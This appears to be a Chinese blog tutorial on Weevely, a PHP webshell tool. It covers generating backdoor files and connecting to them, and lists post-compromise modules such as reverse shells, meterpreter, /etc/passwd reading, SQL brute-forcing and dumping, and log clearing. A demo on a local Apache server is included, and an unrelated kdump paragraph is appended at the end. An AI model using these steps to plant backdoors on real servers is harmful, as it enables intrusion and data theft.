Weevely工具使用详解 (Linux菜刀)

一、下载与安装

二、Weevely工具介绍

weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(限于php),在linux上使用时还是很给力的,就是某些模块在windows上无法使用,总的来说还是非常不错的一款工具

三、基本命令格式与使用方法

(1)新建一个远程控制文件

新生成的文件格式只能是下面的一种:

  • *.php:(生成php后门文件)

  • *.img:(将后门代码插入到图片中,并修改.htaccess,该后门需要服务器开启.htaccess,因为该后门依赖于在.htaccess中使web服务器对图片文件进行php解析)

  • *.htaccess:(将后门代码插入到.htaccess,该后门需要使用同样需要服务器开启.htaccess。生成的.htaccess里包含了php后门语句,同时使用相关配置使得web服务器对该文件进行php解析)

//新建一个远程控制文件,文件使用密码password,path为生成的文件位置
 
weevely generate <password> <path>

(2)连接一个session会话

  • 备注:使用所设置的密码连接所给的后门url,连接成功后,会将连接配置信息以session文件的形式保存在本地,下次需要再次连接时可直接读取session文件进行连接。
//连接一个曾经连接过的session会话
 
weevely session <path> [cmd]
  • [cmd]参数:为可选参数,如果使用该参数则在控制时只执行一次命令就结束,不建立长久连接(直接命令执行有助于批量webshell处理,批量挂马或者操作等等)

(3)连接一个远程控制文件

//连接一个远程的URL开启远程控制,使用远程控制文件密码password,[cmd]为命令可选
 
weevely <URL> <password> [cmd]
  • [cmd]参数:为可选参数,如果使用该参数则在控制时只执行一次命令就结束,不建立长久连接(直接命令执行有助于批量webshell处理,批量挂马或者操作等等)

四、渗透之后的命令

当我们渗透到对方服务器之后,就相当于开启了一个shell,不仅可以输入命令来执行对方的系统。同时,weevely还提供了连接之后可以使用下面如下命令。

:audit_disablefunctionbypass  Bypass disable_function restrictions with mod_cgi and .htaccess.
 :audit_suidsgid               Find files with SUID or SGID flags.
 :audit_filesystem             Audit the file system for weak permissions.
 :audit_etcpasswd              Read /etc/passwd with different techniques.
 :audit_phpconf                Audit PHP configuration.
 :bruteforce_sql               Bruteforce SQL database.
 :system_procs                 List running processes.
 :system_info                  Collect system information.
 :system_extensions            Collect PHP and webserver extension list.
 :backdoor_meterpreter         Start a meterpreter session.
 :backdoor_tcp                 Spawn a shell on a TCP port.
 :backdoor_reversetcp          Execute a reverse TCP shell.
 :shell_su                     Execute commands with su.
 :shell_php                    Execute PHP commands.
 :shell_sh                     Execute shell commands.
 :file_find                    Find files with given names and attributes.
 :file_bzip2                   Compress or expand bzip2 files.
 :file_touch                   Change file timestamp.
 :file_tar                     Compress or expand tar archives.
 :file_webdownload             Download an URL.
 :file_mount                   Mount remote filesystem using HTTPfs.
 :file_cd                      Change current working directory.
 :file_edit                    Edit remote file on a local editor.
 :file_ls                      List directory content.
 :file_check                   Get attributes and permissions of a file.
 :file_upload                  Upload file to remote filesystem.
 :file_zip                     Compress or expand zip files.
 :file_download                Download file from remote filesystem.
 :file_clearlog                Remove string from a file.
 :file_upload2web              Upload file automatically to a web folder and get corresponding URL.
 :file_read                    Read remote file from the remote filesystem.
 :file_gzip                    Compress or expand gzip files.
 :file_rm                      Remove remote file.
 :file_grep                    Print lines matching a pattern in multiple files.
 :file_enum                    Check existence and permissions of a list of paths.
 :file_cp                      Copy single file.
 :sql_dump                     Multi dbms mysqldump replacement.
 :sql_console                  Execute SQL query or run console.
 :net_ifconfig                 Get network interfaces addresses.
 :net_mail                     Send mail.
 :net_proxy                    Run local proxy to pivot HTTP/HTTPS browsing through the target.
 :net_phpproxy                 Install PHP proxy on the target.
 :net_curl                     Perform a curl-like HTTP request.
 :net_scan                     TCP Port scan.

五、3种控制方式演示案例

此处我们以Kali默认的Apache2服务器为例,将其作为我们的渗透控制目标;

  • Apache2服务器的配置文件为/etc/apache2/sites-enabled/000-default;
  • Apache2服务器的根目录为/var/www/html/;
  • Apache2服务器的端口为80

使用.php文件远程控制

  • 第一步:使用weevely命令生成一个远程控制文件backdoor.php,该文件使用的密码为字符串“hello”

  • 查看一下文件的内容

  • 第二步:将该backdoor.php文件通过方法移动到Apache2服务器的根目录/var/www/html/

  • 第三步:通过weevely命令进行连接我们的远程控制文件(文件密码为字符串hello)

     可以看到渗透成功,并且可以执行命令了

演示连接时附加cmd参数

  • 附加cmd参数时,只执行一次命令就结束,将不会建立长久连接;

使用.img文件控制

  • 待续,需要开启服务端的.htaccess,暂时还不会,待更新

使用.htaccess文件控制

  • 待续,需要开启服务端的.htaccess,暂时还不会,待更新

六、控制之后常用的命令

:audit.phpconf

  • 查看php配置信息

:audit_etcpasswd [-real]

  • 查看/etc/passwd文件(特殊说明:很多命令的-vector参数是用以指定php执行命令函数的,当默认函数不可用是,使用该参数来尝试指定其他命令执行函数来获取信息),同时也可使用-real参数来过滤出真实用户

:shell.sh、:shell.php

  • 利用接口执行命令,和虚拟终端类似,这里就不给演示了

:system.info

  • 在weevely里比较常用的一个模块,可以获取到系统的基本信息

:backdoor.reverstcp host port [-vector]

  • 反弹一个tcp shell到目标端口(同样也可指定向量:选择反弹shell的形式,nc,perl,ruby等)

:backdoor.tcp -port <listen_port> -no-connect [-vector]

  • 在本地打开一个端口,等待连接(查看了该模块的源码,使用时必须带上-no-connect才能监听成功,负责他会在本地形成一个tcp环路)

:file.upload lpath rpath

  • 上传本地文件到目标站点指定路径(可能会因为权限不足上传失败)
  • lpath:为本次文件的文件路径
  • rpath:为攻击目标的存放文件路径

:file.rm filename [-recursive] [-vector]

  • 删除指定文件,可开启安全确认模式

:file.check

  • 用以检查目标站点下文件的状态(md5值,大小,权限等)

:file.download rpath lpath [-vector]

  • 将目标站点上的文件下载到本地(可用于批量会话操作)

其他:

  • -file.edit filename-对指定文件进行编辑
  • -file.read filename-读取指定文件内容
  • -file.ls path-列举指定路径的文件信息
  • -file.upload2web-将本地文件上传至目标站点文件夹(可自动枚举到一个可写目录将其写入)
  • -file.webdownload <webfile_path> filename-从其他服务器上下载文件到目标站点
  • -file.touch rpath-创建一个新文件下面几个命令由于环境限制,没有进行测试,这里就不再啰嗦了
  • -bruteforce.sql(爆破指定数据库用户名密码)
  • -bruteforce.sqlusers(爆破所有数据库用户密码)
  • -sql.dump(脱裤,你懂的 ^_^)
  • -sql.console(sql交互式终端)
  • -net.scan(端口扫描,不太会用)
  • -find.perms(搜索具有读、写、执行权限的文件,好像比较给力)
  • -find.suidsgid(搜索linux具有suid或者sgid标记的文件)    
  • -find.name(查找某文件或者文件夹)
     

参考文献

https://www.freebuf.com/sectool/39765.html

 

 

 

 

 

 

 

 

 

 

 

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
kdump是一个在Linux内核崩溃时收集dump信息的工具。它的设计目标是在遇到内核崩溃时,能够提供完整的内核转储信息,以便开发人员进行分析和调试。 kdump的工作原理是在系统启动时,设置一个保护内存区域,用于在内核崩溃时存储dump信息。当系统出现崩溃时,kdump会触发一个内核崩溃的路径,将所有的内核状态信息存储在这个保护区域中。然后,kdump会加载一个独立的小内核,这个小内核只包含了最小的功能,仅仅用于将之前存储的内核状态信息写入磁盘。这样,即使主内核发生崩溃,kdump仍然能够将dump信息保存下来。 kdump所收集的dump信息包含了内核的堆栈、寄存器的状态、内核模块列表、内核代码和数据段等。这些信息对于开发人员分析和调试内核问题非常有帮助。无论是内核中的软件错误、硬件故障还是系统配置错误,都能够通过kdump的信息来定位和解决问题。 为了使用kdump,我们首先需要安装kexec工具,然后对系统进行一些配置,如设置内存保护区域的大小、crashkernel参数等。配置完成后,重新启动系统,当系统崩溃时,kdump就会自动工作。 总结来说,kdump是一个非常有用的Linux内核调试工具,能够在内核崩溃时提供完整的dump信息,为开发人员提供了方便的分析和调试手段。它能够帮助我们快速定位和解决各种内核问题,提高系统的稳定性和可靠性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值